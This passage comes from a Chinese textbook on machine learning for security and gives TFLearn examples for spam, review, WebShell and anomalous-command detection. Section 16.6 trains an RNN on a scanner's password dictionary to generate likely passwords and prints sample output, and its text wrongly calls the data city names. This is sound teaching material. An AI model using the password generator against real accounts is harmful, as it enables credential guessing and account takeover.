    {"text": "15.8 示例：在TensorFlow下识别垃圾邮件（二） 完整演示代码请见本书GitHub上的15-5.py。 1.数据清洗与特征提取 我们尝试使用DNN算法进行训练与分类，数据清洗与特征提取方式与上例一致。 2.训练 我们使用TensorFlow提供的Scikit-Learn风格的接口，相对于TensorFlow原生的API接口，Scikit-Learn风格的接口更加简洁，比如构造多层隐藏层时，只要设置即可，不用反复调用创建隐藏层的函数。以创建两层隐藏层的DNN为例： x_train, x_test, y_train, y_test=load_SpamBase(\"../data/spambase/spambase.data\") feature_columns = tf.contrib.learn.infer_real_valued_columns_from_input(x_train) classifier = tf.contrib.learn.DNNClassifier( feature_columns=feature_columns, hidden_units=[30,10], n_classes=2) 其中hidden_units=[30，10]表明具有两层隐藏层，每层节点数分别为30和10。对训练集合进行训练，其中steps=500表明训练500个批次，batch_size=10表明每个批次有10个训练数据： classifier.fit(x_train, y_train, steps=500，batch_size=10) y_predict=list(classifier.predict(x_test, as_iterable=True)) 3.验证 使用测试数据集进行分类，得到分类结果y_predict，将y_predict与训练测试集的标记y_test进行比对，得到测试结果： score = metrics.accuracy_score(y_test, y_predict) print('Accuracy: {0:f}'.format(score)) 测试结果准确率约为87%，比朴素贝叶斯略好： Accuracy: 0.866377 15.9 本章小结 本章重点介绍了TensorFlow入门知识以及多层感知机与DNN算法的基础知识，我们在使用相同的垃圾邮件训练数据集合和相同的特征提取方式的情况下，对比了朴素贝叶斯和DNN的检测效果，DNN略好。虽然这是一个不严谨的对比，因为两种算法都有优化空间，但是确实也能说明一定的问题，使我们第一次实际感受到了深度学习的魅力。 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · https://github.com/tensorflow/tensorflow/tree/master/tensorflow/examples/learn · https://www.tensorflow.org/get_started/tflearn · http://tflearn.org/examples/ · https://github.com/tflearn/tflearn/blob/master/examples/nlp/ · https://github.com/jikexueyuanwiki/tensorflow-zh · http://tech.sina.com.cn/it/2015-11-12/doc-ifxksqiv8295057.shtml 还有一些参考文献值得一读： [1] D Ciresan，U Meier，L M Gambardella，J Schmidhuber.Convolutional Neural Network Committees for Handwritten Character Classification.International Conference on Document Analysis&Recognition，2011：1135-1139. [2] P Simard，D Steinkraus，J Platt.Best Practices for Convolutional Neural Networks Applied to Visual Document Analysis.International Conference on Document Analysis&Recognition，2003：958. [3] 黄文坚，唐源.TensorFlow实战[M].北京：电子工业出版社，2017. 第16章 循环神经网络算法 之前我们介绍了适合处理时序数据的HMM模型，本章我们将继续介绍其中的一员大将：循环神经网络算法。循环神经网络算法通过特殊的结构使得自身具有了记忆性，可以使用记忆更好地进行判断，因此在自然语言处理、信号处理、情感识别等领域具有广泛应用。人们甚至已经实现让循环神经网络学习，然后自动生成代码和写诗作画。 本章介绍循环神经网络算法的基本概念，通过案例讲解如何使用循环神经网络算法来识别基于MNIST数据集的验证码，识别恶意负面评论，学习现有城市名称的特点自动生成城市名称，识别WebShell，通过学习常用密码自动生成常用密码，识别异常操作等。"},
    {"text": "16.1 循环神经网络算法概述 古人云温故而知新（见图16-1），我们在分析事物的时候总会结合自身以前的经历，即使遇到从未见过的情况，也会尽量回忆以前类似场景下是如何解决的，这个其实就和循环神经网络的思路一致。 循环神经网络（Recurrent Neural Networks，RNN）算法是深度学习算法中非常有名的一种算法。RNN之所以称为循环神经网络，是因为一个序列当前的输出与前面的输出有关。具体的表现形式为：网络会对前面的信息进行记忆并应用于当前输出的计算中，即隐藏层之间的节点不再无连接而是有连接的，并且隐藏层的输入不仅包括输入层的输出还包括上一时刻隐藏层的输出。理论上，RNN能够对任何长度的序列数据进行处理。但是在实践中，为了降低复杂性往往假设当前的状态只与前面的几个状态相关。 RNN的独特能力来自于它特殊的结构，如图16-2所示，x代表输入，h代表输出，输出的一部分会作为输入的一部分重新输入，于是RNN具有了一定的记忆性。 图16-1 温故而知新 把RNN神经元展开来分析，RNN等效于一连串共享系数的神经元串联在一起，如图16-3所示，这也就解释了RNN特别适合处理时序数据的原因。 图16-2 RNN结构示例图（一） 图16-3 RNN结构示例图（二） 但是生活的经验告诉我们，在比较复杂的情况下，只分析时序数据的最近几个数据是难以得到合理的结果的，需要更长的记忆来追根溯源，于是就有了LSTM（Long Short Term Memory），LSTM可以在更长的时间范围内分析时序数据，如图16-4所示。针对LSTM的详细描写请参考经典文章： http://colah.GitHub.io/posts/2015-08-Understanding-LSTMs/ 图16-4 RNN之LSTM示例图"},
    {"text": "16.2 示例：识别验证码 完整演示代码请见本书GitHub上的16-1.py。 1.数据清洗与特征化 我们继续使用MNIST数据集，MNIST数据集详细介绍请阅读第3章相关内容。这次，我们利用TFLearn提供的API来获取MNIST数据集： X, Y, testX, testY = mnist.load_data(one_hot=True) 第一次调用这个API的时候，会自动下载MNIST数据集到默认目录： Downloading MNIST... Succesfully downloaded train-images-idx3-ubyte.gz 9912422 bytes. Extracting mnist/train-images-idx3-ubyte.gz Downloading MNIST... Succesfully downloaded train-labels-idx1-ubyte.gz 28881 bytes. Extracting mnist/train-labels-idx1-ubyte.gz Downloading MNIST... Succesfully downloaded t10k-images-idx3-ubyte.gz 1648877 bytes. Extracting mnist/t10k-images-idx3-ubyte.gz Downloading MNIST... Succesfully downloaded t10k-labels-idx1-ubyte.gz 4542 bytes. Extracting mnist/t10k-labels-idx1-ubyte.gz 后继再调用该API时会自动从默认目录中加载对应的文件： Extracting mnist/train-images-idx3-ubyte.gz Extracting mnist/train-labels-idx1-ubyte.gz Extracting mnist/t10k-images-idx3-ubyte.gz Extracting mnist/t10k-labels-idx1-ubyte.gz 其中需要注意的是，原有数据集中将数据标记为0～9，分别代表0～9这10个数字。在神经网络中为了简化设计，一般将最后一层设计成0～1型开关结构，所以0～9可以用一个长度为10的向量表示，每一位分别代表不同的数字，这种编码叫做one-hot，也称为独热编码，编码转换关系如表16-1所示。 表16-1 MNIST标记数据one-hot编码 原有的图片文件大小是28×28，在DNN以及MLP的案例中，我们将其转换成维度为784的特征向量，如图16-5所示。 在RNN模型中，特别适合处理时序型数据，所以我们需要将数据格式进行转换，如图16-6所示。 图16-5 DNN中针对MNIST数据的处理 图16-6 RNN中针对MNIST数据的处理 在Python环境下实现这样的转换非常方便，只需要调用NumPy的函数np.reshape即可： X = np.reshape(X, (-1, 28, 28)) testX = np.reshape(testX, (-1, 28, 28)) 2.训练样本 构造RNN神经网络，使用LSTM算法。 设置输入参数的形状为28×28： net = tflearn.input_data(shape=[None, 28, 28]) 设置使用LSTM算法： net = tflearn.lstm(net, 128, return_seq=True) net = tflearn.lstm(net, 128) 设置全连接网络： net = tflearn.fully_connected(net, 10, activation='softmax') 设置输出节点，优化算法使用adam，损失函数使用categorical_crossentropy： net = tflearn.regression(net, optimizer='adam', loss='categorical_crossentropy', name=\"output1\") 创建神经网络实体： model = tflearn.DNN(net, tensorboard_verbose=2) 调用fit函数训练样本： model.fit(X, Y, n_epoch=1, validation_set=0.1, show_metric=True, snapshot_step=100) 其中主要参数的含义为： ·n_epoch，整个数据集合训练的次数； ·validation_set，验证数据集的比例，也可以直接填写集合，比如（testX，testY）， ·show_metric，是否展现完整训练过程， ·snapshot_step，snapshot的训练步长。 3.验证效果 运行程序，效果演示如图16-7所示。 图16-7 RNN识别MNIST数据 其中训练数据集个数为55000，测试数据集合个数为10000： Training samples: 55000 Validation samples: 10000 最终准确率达到了95%左右，相当不错了： Training Step: 860 | total loss: 0.19170 | time: 179.915s | Adam | epoch: 001 | loss: 0.19170 - acc: 0.9450 | val_loss: 0.16047 - val_acc:0.9515 -- iter: 55000/55000"},
    {"text": "16.3 示例：识别恶意评论 完整演示代码请见本书GitHub上的16-2.py和16-3.py。 1.数据清洗与特征化 从早期的BBS到现在的贴吧、微信和微博，恶意评论一直都挥之不去，有的是网友的无意吐槽，有的是水军的恶意攻击。以往大型互联网企业都需要雇佣大量的运营支撑人员，人工进行筛选，随着互联网的发展，尤其是移动互联网的发展，人工维护几乎成了不可能完成的任务。这次我们尝试使用机器学习的方法来识别恶意评论。这次我们的样本采用Movie Review Data数据集。Movie Review Data数据集包含1000条正面的评论和1000条负面评论，被广泛应用于文本分类尤其是恶意评论识别方面。本书使用其最新的版本，polarity dataset v2.0，详细的介绍请参考第3章内容。 Movie Review Data数据集的每条评论都保存成单独的一个文本文件，正面和负面的评论放置在不同的文件夹下面，使用词袋模型将文本向量化。 读取文件，把每个文件转换成一个字符串： def load_one_file(filename): x=\"\" with open(filename) as f: for line in f: x+=line return x 遍历读取文件夹下全部文件： def load_files(rootdir,label): list = os.listdir(rootdir) x=[] y=[] for i in range(0, len(list)): path = os.path.join(rootdir, list[i]) if os.path.isfile(path): print \"Load file %s\" % path y.append(label) x.append(load_one_file(path)) return x,y 根据不同文件夹，标记为正面和负面，其中正面评论标记为0，负面评论标记为1： def load_data(): x=[] y=[] x1,y1=load_files(\"../data/movie-review-data/review_polarity/txt_sentoken/pos/\",0) x2,y2=load_files(\"../data/movie-review-data/review_polarity/txt_sentoken/neg/\", 1) x=x1+x2 y=y1+y2 return x,y 使用词袋模型将数据向量化，并且使用train_test_split将样本随机划分成训练集合和测试集合，分配比例为0.4： x,y=load_data() x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.4, random_state=0) vp = learn.preprocessing.VocabularyProcessor(max_document_length=MAX_DOCUMENT_LENGTH, min_frequency=1) vp.fit(x) x_train = np.array(list(vp.transform(x_train))) x_test = np.array(list(vp.transform(x_test))) n_words=len(vp.vocabulary_) print('Total words: %d' % n_words) 2.训练样本 NB算法在文本分类领域有着广泛的应用，作为对比测试，首先使用NB算法： gnb = GaussianNB() gnb.fit(x_train, y_train) 识别页面评论过程如图16-8所示。 图16-8 RNN/NB识别负面评论的过程 RNN特别适合检测时序型数据，所以需要将评论转换成时序数据，截取文件的前100个单词作为一个序列，每个单词又由词袋模型进行编码，标记数据使用one-hot编码，如图16-9所示。 图16-9 评论内容转换成RNN可以处理的时序向量 trainX = pad_sequences(trainX, maxlen=100, value=0.) testX = pad_sequences(testX, maxlen=100, value=0.) trainY = to_categorical(trainY, nb_classes=2) testY = to_categorical(testY, nb_classes=2) 构造RNN网络，输入层长度为100，embedding输入的数据维度为词袋的词汇表的长度n_words，输出的数据维度定义为128，LSTM层随机筛选80%的数据传递给下一层： net = tflearn.input_data([None, 100]) net = tflearn.embedding(net, input_dim=n_words, output_dim=128) net = tflearn.lstm(net, 128, dropout=0.8) 全连接层激活函数使用softmax函数，输出数据维度为2，优化使用adam算法，学习速率为0.001： net = tflearn.fully_connected(net, 2, activation='softmax') net = tflearn.regression(net, optimizer='adam', learning_rate=0.001, loss='categorical_crossentropy') model = tflearn.DNN(net, tensorboard_verbose=0) model.fit(trainX, trainY, validation_set=(testX, testY), show_metric=True, batch_size=32) 3.验证效果 NB算法比对测试数据集的预测结果与标记数据，准确率为51%左右： y_predict = gnb.fit(x_train, y_train).predict(x_test) score = metrics.accuracy_score(y_test, y_predict) print('NB Accuracy: {0:f}'.format(score)) RNN算法在fit函数中直接指定了测试数据集合（testX，testY）： model.fit(trainX, trainY, validation_set=(testX, testY), show_metric=True, batch_size=32) 运行结果如图16-10所示，准确率61%左右，不是特别理想。 图16-10 RNN识别评论结果"},
    {"text": "16.4 示例：生成城市名称 RNN具有记忆性，在经过大量训练后可以学习到时序数据的潜在规律，并且可以使用这种规律随机生成新的序列。下面我们举个非常有趣的例子，把美国现有的城市名称录入RNN，RNN学习到城市名称的潜在规律后，随机生成新的城市名称。图16-11是全美棒球联盟的队徽，几乎每个城市都有自己的棒球队，并且会以城市的名称命名球队。完整演示代码请见本书GitHub上的16-4.py。 图16-11 以城市命名的美国棒球队队徽 1.数据清洗与特征化 下载美国城市名称，下载链接为： https://raw.GitHubusercontent.com/tflearn/tflearn.GitHub.io/master/resources/US_Cities.txt 保存文件为US_Cities.txt，文件内容如下： Abbeville Abbotsford Abbott Abbottsburg Abbottstown Abbyville Abell Abercrombie Aberdeen Aberfoil Abernant Abernathy 约定城市名称最长不超过20，逐行读取城市名称，将数据向量化，并生成对应的样本以及标记、字典： path = \"../data/US_Cities.txt\" maxlen = 20 string_utf8 = open(path, \"r\").read().decode('utf-8') X, Y, char_idx = \\ string_to_semi_redundant_sequences(string_utf8, seq_maxlen=maxlen, redun_step=3) 2.训练样本 构造RNN，使用LSTM算法： g = tflearn.input_data(shape=[None, maxlen, len(char_idx)]) g = tflearn.lstm(g, 512, return_seq=True) g = tflearn.dropout(g, 0.5) g = tflearn.lstm(g, 512) g = tflearn.dropout(g, 0.5) g = tflearn.fully_connected(g, len(char_idx), activation='softmax') g = tflearn.regression(g, optimizer='adam', loss='categorical_crossentropy', learning_rate=0.001) 对应的RNN结构如图16-12所示。 图16-12 自动生成城市名称的RNN结构示意图 实例化基于RNN的序列生成器，并使用对应的字典： m = tflearn.SequenceGenerator(g, dictionary=char_idx, seq_maxlen=maxlen, clip_gradients=5.0, checkpoint_path='model_us_cities') 3.验证效果 使用随机种子，通过RNN模型随机生成城市名称： for i in range(40): seed = random_sequence_from_string(file_lines, maxlen) m.fit(X, Y, validation_set=0.1, batch_size=128, n_epoch=1, run_id='us_cities') print(\"-- TESTING...\") print(\"-- Test with temperature of 1.2 --\") print(m.generate(30, temperature=1.2, seq_seed=seed)) print(\"-- Test with temperature of 1.0 --\") print(m.generate(30, temperature=1.0, seq_seed=seed)) print(\"-- Test with temperature of 0.5 --\") print(m.generate(30, temperature=0.5, seq_seed=seed)) 运行程序，学习现有城市名称，训练数据62106条，校验数据6901条： Training samples: 62106 Validation samples: 6901 Temperature定义为新颖程度，Temperature越小，自动生成的城市名称越接近样本中的城市名称，Temperature越大，自动生成的城市名称与样本中的城市名称差别越大。当Temperature为1.2： Efland Egan Egbert Saagawie Watwe ariplrna Eifrac Temperature为1.0： Efland Egan Egbert Fonlen Weno Betemsli Becmutnnd Temperature为0.5： Efland Egan Egbert Landou Parnsasn Maron Larerun"},
    {"text": "16.5 示例：识别WebShell 完整演示代码请见本书GitHub上的16-5.py。 1.数据清洗与特征化 我们使用ADFA-LD数据集中关于WebShell的数据进行实验，ADFA-LD数据集详细介绍请阅读第3章相关内容。ADFA-LD本质上是通过HIDS记录系统在正常与被入侵情况下的系统调用情况。系统调用本身就具有时序性，如图16-13所示。 图16-13 ADFA-LD数据时序化示意图 逐行读取文件，并记录当前系统调用序号的最大值，系统调用序号使用整数记录： def load_one_flle(filename): global max_sys_call x=[] with open(filename) as f: line=f.readline() line=line.strip('\\n') line=line.split(' ') for v in line: if len(v) > 0: x.append(int(v)) if int(v) > max_sys_call: max_sys_call=int(v) return x 加载正常系统调用序列，并标记为正常： def load_adfa_training_files(rootdir): x=[] y=[] list = os.listdir(rootdir) for i in range(0, len(list)): path = os.path.join(rootdir, list[i]) if os.path.isfile(path): x.append(load_one_flle(path)) y.append(0) return x,y 加载WebShell运行下系统调用序列，并标记为WebShell： def load_adfa_webshell_files(rootdir): x=[] y=[] allfile=dirlist(rootdir,[]) for file in allfile: if re.match(r\"../data/ADFA-LD/Attack_Data_Master/Web_Shell_\\d+/UAD-W*\",file): x.append(load_one_flle(file)) y.append(1) return x,y 将正常数据与异常数据混合，随机分配成训练数据集和测试数据集： x1,y1=load_adfa_training_files(\"../data/ADFA-LD/Training_Data_Master/\") x2,y2=load_adfa_webshell_files(\"../data/ADFA-LD/Attack_Data_Master/\") x=x1+x2 y=y1+y2 x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.4, random_state=0) 2.训练样本 构造RNN，使用LSTM算法： net = tflearn.input_data([None, max_sequences_len]) net = tflearn.embedding(net, input_dim=max_sys_call+1, output_dim=128) net = tflearn.lstm(net, 128, dropout=0.8) net = tflearn.fully_connected(net, 2, activation='softmax') net = tflearn.regression(net, optimizer='adam', learning_rate=0.1, loss='categorical_crossentropy') 实例化RNN，默认序列长度为100，不足时使用0补齐： trainX = pad_sequences(trainX, maxlen=max_sequences_len, value=0.) testX = pad_sequences(testX, maxlen=max_sequences_len, value=0.) trainY = to_categorical(trainY, nb_classes=2) testY = to_categorical(testY, nb_classes=2) model = tflearn.DNN(net, tensorboard_verbose=3) model.fit(trainX, trainY, validation_set=(testX, testY), show_metric=True, batch_size=32,run_id=\"maidou\") 3.验证效果 使用测试数据集合验证效果，准确率约93%，效果图见图16-14。 图16-14 RNN检测ADFA-LD数据集中的WebShell效果图"},
    {"text": "16.6 示例：生成常用密码 近几年各大网站的疑似撞库以及密码泄露事件屡见不鲜，从CSDN、小米到网易等，虽然互联网技术迅速发展，但是基于用户名和密码的身份认证依然还是主流。人天生有惰性，以密码为例子，人们都喜欢在不同网站使用同样的密码，一旦某个网站的密码被泄露，黑产便可以长驱直入登录其他网站（如图16-15所示）。 图16-15 密码泄露事件 人们在设置密码的时候，总是倾向于好记的密码，于是密码便和常见实物具有很强的关联性，常见的密码之间也存在一定的关联性，我们尝试让RNN学习常见的密码，摸索其中的规律，然后自动生成新密码。完整演示代码请见本书GitHub上的16-6.py。 1.数据清洗与特征化 我们使用WVS自带的密码字典作为训练集。 约定密码长度最长不超过10，逐行读取密码本中每行密码，将数据向量化，并生成对应的样本以及标记、字典： path = \"../data/wvs-pass.txt\" maxlen = 10 string_utf8 = open(path, \"r\").read()X, Y, char_idx = \\ string_to_semi_redundant_sequences(string_utf8, seq_maxlen=maxlen, redun_step=3) 2.训练样本 构造RNN，使用LSTM算法： g = tflearn.input_data(shape=[None, maxlen, len(char_idx)]) g = tflearn.lstm(g, 512, return_seq=True) g = tflearn.dropout(g, 0.5) g = tflearn.lstm(g, 512) g = tflearn.dropout(g, 0.5) g = tflearn.fully_connected(g, len(char_idx), activation='softmax') g = tflearn.regression(g, optimizer='adam', loss='categorical_crossentropy', learning_rate=0.001) 实例化基于RNN的序列生成器，并使用对应的字典： m = tflearn.SequenceGenerator(g, dictionary=char_idx, seq_maxlen=maxlen, clip_gradients=5.0, checkpoint_path='wvs_pass') 3.验证效果 分别设置不同的新颖度Temperature来生成密码： for i in range(40): seed = random_sequence_from_string(file_lines, maxlen) m.fit(X, Y, validation_set=0.1, batch_size=128, n_epoch=1, run_id='us_cities') print(\"-- TESTING...\") print(\"-- Test with temperature of 1.2 --\") print(m.generate(30, temperature=1.2, seq_seed=seed)) print(\"-- Test with temperature of 1.0 --\") print(m.generate(30, temperature=1.0, seq_seed=seed)) print(\"-- Test with temperature of 0.5 --\") print(m.generate(30, temperature=0.5, seq_seed=seed)) 运行程序，学习现有城市名称，训练数据52463条，校验数据5830条： Training samples: 52463 Validation samples: 5830 当Temperature为1.2： y~~ 3dmgamgiaoo ag.i@o17.tc da#eUg^ioo Temperature为1.0： y~~ 3dmgamiag0132 290.29 w@zwe31735)bvi Temperature为0.5： y~~ 3dmgam e2234687 123433 wonin12384 ja"},
    {"text": "16.7 示例：识别异常操作 Gitlab的一位系统管理员在给线上数据库做负载均衡工作时，遭受了DDoS攻击。在阻止了攻击之后，运维人员发现了数据库不同步的问题，便开始修复。在修复过程中，错误地在生产环境上执行了数据库目录删除命令（见图16-16），导致300GB数据被删除，Gitlab被迫下线。在恢复的过程中，他们发现只有db1.staging的数据库可以用于恢复，而其他5种备份机制都不可用。db1.staging是6小时前的数据，而且传输速率有限，导致恢复进程缓慢，Gitlab最终丢掉了差不多6个小时的数据。 图16-16 Gitlab被管理员误删除 黑客入侵Web服务器以后，通常会通过系统漏洞进一步提权，获得root权限，内部员工的违规操作同样也可能造成巨大危害。我们试图通过搜集Linux服务器的bash操作日志，通过训练识别出特定用户的操作习惯，然后进一步识别出异常操作行为。完整演示代码请见本书GitHub上的16-7.py。 1.数据清洗与特征化 我们使用SEA数据集涵盖70多个UNIX系统用户的行为日志，这些数据来自UNIX系统acct机制记录的用户使用的命令。SEA数据集中每个用户都采集了15000条命令，从用户集合中随机抽取50个用户作为正常用户，剩余用户的命令块中随机插入模拟命令作为内部伪装者攻击数据。关于SEA数据集的详细介绍请参考第3章中的内容。 逐行读取并加载命令： def load_user_cmd_new(filename): cmd_list=[] dist=[] with open(filename) as f: i=0 x=[] for line in f: line=line.strip('\\n') x.append(line) dist.append(line) i+=1 每100个命令组成一个向量： if i == 100: cmd_list.append(x) x=[] i=0 把每个命令当成一个单词，使用词集模型进行处理： fdist = FreqDist(dist).keys() 使用生成词集的词汇表对操作命令进行编码，将操作命令序列化： def get_user_cmd_feature_new(user_cmd_list,dist): user_cmd_feature=[] for cmd_list in user_cmd_list: x=[] for cmd in cmd_list: v = [0] * len(dist) for i in range(0, len(dist)): if cmd == dist[i]: v[i] = 1 x.append(v) user_cmd_feature.append(x) return user_cmd_feature 2.训练样本 RNN识别异常的流程如图16-17所示。 以User3为例，文件中一共记录了15000个命令共150个命令序列，每个命令序列长度固定，均为100。前80个命令块（序列）作为训练集，后70个命令块为测试集合： user_cmd_list,dist=load_user_cmd_new(\"../data/MasqueradeDat/User7\") n_words=len(dist) user_cmd_feature=get_user_cmd_feature_new(user_cmd_list,dist) labels=get_label(\"../data/MasqueradeDat/label.txt\",6) y=[0]*50+labels x_train=user_cmd_feature[0:N] y_train=y[0:N] x_test=user_cmd_feature[N:150] y_test=y[N:150] 图16-17 RNN识别异常操作流程图 定义RNN结构，其具有两层lstm结构： net = tflearn.input_data(shape=[None, 100,n_words]) net = tflearn.lstm(net, 10, return_seq=True) net = tflearn.lstm(net, 10, ) net = tflearn.fully_connected(net, 2, activation='softmax') net = tflearn.regression(net, optimizer='adam', learning_rate=0.1,name=\"output\", loss='categorical_crossentropy') model = tflearn.DNN(net, tensorboard_verbose=3) 3.验证效果 训练并交叉验证测试集合： model.fit(x_train, y_train, validation_set=(x_test, y_test), show_metric=True, batch_size=32,run_id=\"maidou\") 其中训练集合大小为80，测试集合大小为70，准确率在94%以上，如图16-18所示。 图16-18 RNN识别异常操作结果 16.8 本章小结 本章重点介绍RNN的基础知识以及Web安全领域的相关应用，包括识别验证码、识别恶意评论、识别WebShell、识别异常操作等。RNN独特的使用记忆能力，让它在众多领域，尤其是在时序领域大展身手，其通过学习历史数据自动生成新数据的能力令人叹为观止。"},
    {"text": "参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://colah.github.io/posts/2015-08-Understanding-LSTMs/ · https://github.com/tensorflow/tensorflow/tree/master/tensorflow/examples/learn · https://www.tensorflow.org/get_started/tflearn · http://tflearn.org/examples/ · https://github.com/tflearn/tflearn/blob/master/examples/nlp/ · http://rdc.hundsun.com/portal/article/656.html 还有一些参考文献值得一读： [1] R C Staudemeyer，C W Omlin.Evaluating Performance of Long Short-Term Memory Recurrent Neural Networks on Intrusion Detection Data.South African Institute for Computer Scientists&Information Technologists Conference，2013. [2] L Bontemps，V L Cao，J Mcdermott，NA Le-Khac.Collective Anomaly Detection Based on Long Short-Term Memory Recurrent Neural Networks.International Conference on Future Data&Security Engineering，2016. [3] William Melicher，Blase Ur，Sean M Segreti，Saranga Komanduri，Lujo Bauer，Nicolas Christin，Lorrie Faith Cranor.Fast，Lean，and Accurate：Modeling Password Guessability Using Neural Networks.Carnegie Mellon University，2016. [4] Bo Pang，Lillian Lee，Shivakumar Vaithyanathan.Thumbs up？：Sentiment Classification Using Machine Learning Techniques，Proceedings of EMNLP，79-86，2002. [5] Schonlau M，Couper M.Semi-Automated Categorization of Open-Ended Questions.Survey Research Methods，10（2）：143-152，2016. 第17章 卷积神经网络算法 卷积神经网络算法在图像处理领域有着广泛应用，它独特的卷积处理与池化能力，可以对图像数据在不用做复杂预处理的情况下，直接自动提取高级特征，并进一步分析，同时使得计算复杂度以指数级别下降。卷积神经网络算法在安全领域的表现如何呢？本章将首先介绍卷积神经网络算法的基本概念和基本使用方法，然后通过案例讲解如何使用卷积神经网络算法识别恶意评论，识别垃圾邮件等。 17.1 卷积神经网络算法概述 人脸识别等图像识别技术正在改变人们的生活，如图17-1所示，回顾之前识别MNIST数据集时，28×28的图片识别数字的成功率都徘徊在95%左右，那是什么样的技术让图像识别长足发展的呢？答案就是卷积神经网络。 图17-1 人脸识别 卷积神经网络（Convolutional Neural Network，CNN）原本是在图像处理领域应用的，后来广泛应用于文本处理、语音识别等领域。CNN是近年发展起来的，并引起广泛重视的一种高效识别图像的方法。20世纪60年代，Hubel和Wiesel在研究猫脑皮层中用于局部敏感和方向选择的神经元时发现其独特的网络结构可以有效地降低反馈神经网络的复杂性，继而提出了卷积神经网络。现在，CNN已经成为众多科学领域的研究热点之一，特别是在模式分类领域，由于该网络避免了对图像的复杂前期预处理，可以直接输入原始图像，因而得到了更为广泛的应用，如图17-2所示。K.Fukushima在1980年提出的新识别机是卷积神经网络的第一个实现网络。随后，更多的科研工作者对该网络进行了改进。其中，具有代表性的研究成果是Alexander和Taylor提出的“改进认知机”，该方法综合了各种改进方法的优点并避免了耗时的误差反向传播。 图17-2 CNN图像处理示例图 在DNN这类全连接神经网络算法中，隐藏层的前一层的每个节点都需要与下一层的每个节点连接，当节点数量巨大时，产生的连接就非常多，这样，在硬件环境有限的情况下就几乎难以完成训练过程，如图17-3所示。 图17-3 全连接神经网络 为了解决图像处理领域全连接造成的计算量巨大的问题，人们提出了局部连接，如图17-4所示。其理论基础是基于这样的假设：生物在进行图像识别时，对图像的理解只需要处理局部的数据即可，不需要全面分析全部图像后才能进行处理。这一假设在图像处理领域得到了广泛应用，证明其简单有效。 图17-4 局部连接神经网络 在卷积神经网络中有几个概念需要介绍一下。 所谓 权值共享 是指当从一个大尺寸图像中随机选取一小块，比如说8×8作为样本，并且从这个小块样本中学习到了一些特征，这时我们可以把从这个8×8样本中学习到的特征作为探测器，应用到这个图像的任意地方。特别是，我们可以用从8×8样本中所学习到的特征跟原本的大尺寸图像作卷积，从而在这个大尺寸图像上的任一位置获得一个不同特征的激活值。 如图17-5所示，展示了一个3×3的卷积核在5×5的图像上做卷积的过程。每个卷积都是一种特征提取方式，就像一个筛子，将图像中符合条件（激活值越大越符合条件）的部分筛选出来。 图17-5 CNN权值共享原理 所谓 池化 是指人们可以计算图像一个区域上的某个特定特征的平均值或者最大值。这些概要统计特征不仅具有低得多的维度，同时还会改善结果。这种聚合的操作就叫做池化。 基于局部连接、权值共享以及池化层的降采样，进一步发展成了完整的CNN算法，关于CNN的详细算法说明不是本书的重点，有兴趣的读者可以参考本章最后的参考文献。"},
    {"text": "17.2 示例：hello world！卷积神经网络 完整演示代码请见本书GitHub上的17-1.py。 1.数据清洗与特征化 我们继续使用MNIST数据集，MNIST数据集的详细介绍请阅读第3章相关内容。这次我们利用TFLearn提供的API来获取MNIST数据集： X, Y, testX, testY = mnist.load_data(one_hot=True) 第一次调用这个API的时候，会自动下载MNIST数据集到默认目录： Downloading MNIST... Succesfully downloaded train-images-idx3-ubyte.gz 9912422 bytes. Extracting mnist/train-images-idx3-ubyte.gz Downloading MNIST... Succesfully downloaded train-labels-idx1-ubyte.gz 28881 bytes. Extracting mnist/train-labels-idx1-ubyte.gz Downloading MNIST... Succesfully downloaded t10k-images-idx3-ubyte.gz 1648877 bytes. Extracting mnist/t10k-images-idx3-ubyte.gz Downloading MNIST... Succesfully downloaded t10k-labels-idx1-ubyte.gz 4542 bytes. Extracting mnist/t10k-labels-idx1-ubyte.gz 后继再调用该API时会自动从默认目录中加载对应的文件： Extracting mnist/train-images-idx3-ubyte.gz Extracting mnist/train-labels-idx1-ubyte.gz Extracting mnist/t10k-images-idx3-ubyte.gz Extracting mnist/t10k-labels-idx1-ubyte.gz 图片样本大小为28×28，TFLearn默认将其转换成维度为784的向量，为了处理方便，需要恢复成28×28的二维向量： X = X.reshape([-1, 28, 28, 1]) testX = testX.reshape([-1, 28, 28, 1]) 2.训练样本 构造CNN网络，定义输入层，大小为28×28： net = tflearn.input_data(shape=[None, 28, 28, 1]) 构造二维卷积函数： net = tflearn.conv_2d(net, 64, 3, activation=’relu’, bias=False) 组装余下神经网络： net = tflearn.residual_bottleneck(net, 3, 16, 64) net = tflearn.residual_bottleneck(net, 1, 32, 128, downsample=True) net = tflearn.residual_bottleneck(net, 2, 32, 128) net = tflearn.residual_bottleneck(net, 1, 64, 256, downsample=True) net = tflearn.residual_bottleneck(net, 2, 64, 256) net = tflearn.batch_normalization(net) net = tflearn.activation(net, 'relu') net = tflearn.global_avg_pool(net) net = tflearn.fully_connected(net, 10, activation='softmax') net = tflearn.regression(net, optimizer='momentum', loss='categorical_crossentropy', learning_rate=0.1) 3.效果验证 训练并交叉验证效果，准确率达到了99%以上，非常不错： model = tflearn.DNN(net, checkpoint_path='model_resnet_mnist', max_checkpoints=10, tensorboard_verbose=0) model.fit(X, Y, n_epoch=100, validation_set=(testX, testY), show_metric=True, batch_size=256, run_id='resnet_mnist')"},
    {"text": "17.3 示例：识别恶意评论 完整演示代码请见本书GitHub上的17-2.py。 1.数据清洗与特征化 这次我们的样本依然采用Movie Review Data数据集。Movie Review Data数据集包含1000条正面评论和1000条负面评论，被广泛应用于文本分类尤其是恶意评论识别方面。本书使用其最新的版本，polarity dataset v2.0，详细的介绍请参考第3章相关内容。 Movie Review Data数据集的每条评论都保存成单独的一个文本文件，正面和负面评论放置在不同的文件夹下面，使用词袋模型将文本向量化。 读取文件，把每个文件转换成一个字符串： def load_one_file(filename): x=\"\" with open(filename) as f: for line in f: x+=line return x 遍历读取文件夹下全部文件： def load_files(rootdir,label): list = os.listdir(rootdir) x=[] y=[] for i in range(0, len(list)): path = os.path.join(rootdir, list[i]) if os.path.isfile(path): print \"Load file %s\" % path y.append(label) x.append(load_one_file(path)) return x,y 根据不同文件夹，标记为正面和负面，其中正面评论标记为0，负面评论标记为1： def load_data(): x=[] y=[] x1,y1=load_files(\"../data/movie-review-data/review_polarity/txt_sentoken/pos/\",0) 